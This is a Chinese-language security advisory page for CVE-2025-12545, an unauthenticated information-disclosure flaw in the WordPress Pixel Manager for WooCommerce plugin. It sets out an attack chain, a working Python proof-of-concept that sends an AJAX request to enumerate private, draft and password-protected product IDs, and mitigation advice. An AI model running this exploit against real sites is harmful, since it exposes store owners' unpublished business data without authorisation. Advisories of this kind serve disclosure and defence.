IPBUF安全漏洞报告
English
CVE-2025-12545 CVSS 5.3 中危

CVE-2025-12545 WordPress WooCommerce Pixel Manager信息泄露漏洞

披露日期: 2025-11-18

漏洞信息

漏洞编号
CVE-2025-12545
漏洞类型
信息泄露
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Pixel Manager for WooCommerce – Track Conversions and Analytics, Google Ads, TikTok and more

相关标签

WordPressWooCommerce信息泄露信息暴露未授权访问AJAX电子商务插件漏洞CVE-2025-12545

漏洞概述

Pixel Manager for WooCommerce是WordPress平台上一款广受欢迎的电商分析插件,用于跟踪转化率和整合Google Ads、TikTok等广告平台的追踪代码。该插件在所有版本直至1.49.2版本中存在一个严重的信息泄露漏洞。漏洞源于ajax_pmw_get_product_ids()函数对产品访问权限的验证不足。在WooCommerce系统中,产品可以设置为公开、受密码保护、私有或草稿状态,以控制不同用户群体的访问权限。然而,由于该AJAX端点缺少适当的访问控制检查,攻击者可以在无需任何认证的情况下,通过发送特制的HTTP请求来获取这些受保护产品的ID信息。这些信息可能包括尚未公开发布的新产品、内部SKU、价格策略等敏感商业数据。攻击者可以利用这些信息进行商业情报收集、竞争分析或规划进一步的攻击活动。该漏洞影响所有使用该插件的WordPress网站,且由于其无需认证的特性,攻击门槛极低,潜在危害范围广泛。

技术细节

漏洞位于插件的ajax_pmw_get_product_ids()函数中,该函数通过WordPress的AJAX机制暴露了一个未授权访问的接口。问题核心在于函数缺少权限检查和访问控制逻辑。具体来说,该函数在处理产品ID查询请求时,没有验证请求者是否具有访问特定产品的权限。在WooCommerce中,受保护的产品通过post_status字段设置为'private'、'draft'或使用post_password字段设置密码保护。正常情况下,只有具有适当权限的用户才能通过WordPress核心API访问这些产品。然而,由于该AJAX端点直接调用get_posts()或类似函数且未应用适当的meta_query或post_status过滤限制,攻击者可以通过构造请求参数获取所有产品的ID列表,包括那些本应受保护的产品。攻击者只需要向wp-admin/admin-ajax.php发送一个POST请求,设置action参数为pmw_get_product_ids,即可在响应中获取产品的完整ID列表。这种设计缺陷使得任何访问者都能枚举网站的产品数据库,泄露商业敏感信息。

攻击链分析

STEP 1
步骤1
攻击者识别目标网站是否使用Pixel Manager for WooCommerce插件(通过网站源码或favicon等特征)
STEP 2
步骤2
攻击者构造恶意的AJAX请求,向/wp-admin/admin-ajax.php发送POST请求,设置action参数为pmw_get_product_ids
STEP 3
步骤3
由于函数缺少权限验证,服务器直接返回所有产品ID,包括受密码保护、私有和草稿状态的产品
STEP 4
步骤4
攻击者获取产品ID后,可进一步查询这些产品的详细信息,如价格、描述、库存等敏感数据
STEP 5
步骤5
攻击者利用泄露的商业情报进行不正当竞争、市场分析或规划进一步的安全攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2025-12545 PoC - Information Exposure in Pixel Manager for WooCommerce # Target: WordPress site with Pixel Manager for WooCommerce plugin <= 1.49.2 def exploit_cve_2025_12545(target_url): """ Exploit for information disclosure vulnerability in ajax_pmw_get_product_ids() This PoC demonstrates how an unauthenticated attacker can extract protected product data. """ # Target AJAX endpoint ajax_url = f"{target_url}/wp-admin/admin-ajax.php" # Prepare the malicious request data = { 'action': 'pmw_get_product_ids', # Vulnerable AJAX action } headers = { 'Content-Type': 'application/x-www-form-urlencoded', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' } try: # Send unauthenticated request response = requests.post(ajax_url, data=data, headers=headers, timeout=10) if response.status_code == 200: result = response.json() print(f"[+] Request successful!") print(f"[+] Response: {json.dumps(result, indent=2)}") # Check if we got product IDs including protected ones if 'data' in result and 'product_ids' in result['data']: product_ids = result['data']['product_ids'] print(f"[+] Found {len(product_ids)} product IDs") print(f"[+] Product IDs: {product_ids}") return True else: print(f"[-] Request failed with status code: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": # Replace with target URL target = "https://example.com" exploit_cve_2025_12545(target)

影响范围

Pixel Manager for WooCommerce plugin <= 1.49.2

防御指南

临时缓解措施
如果无法立即升级插件,可通过在functions.php中添加自定义过滤器来临时禁用该AJAX端点,或使用Web应用防火墙(WAF)规则阻止对pmw_get_product_ids action的未授权访问。同时建议暂时限制搜索引擎对产品页面的索引,以减少信息暴露面。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表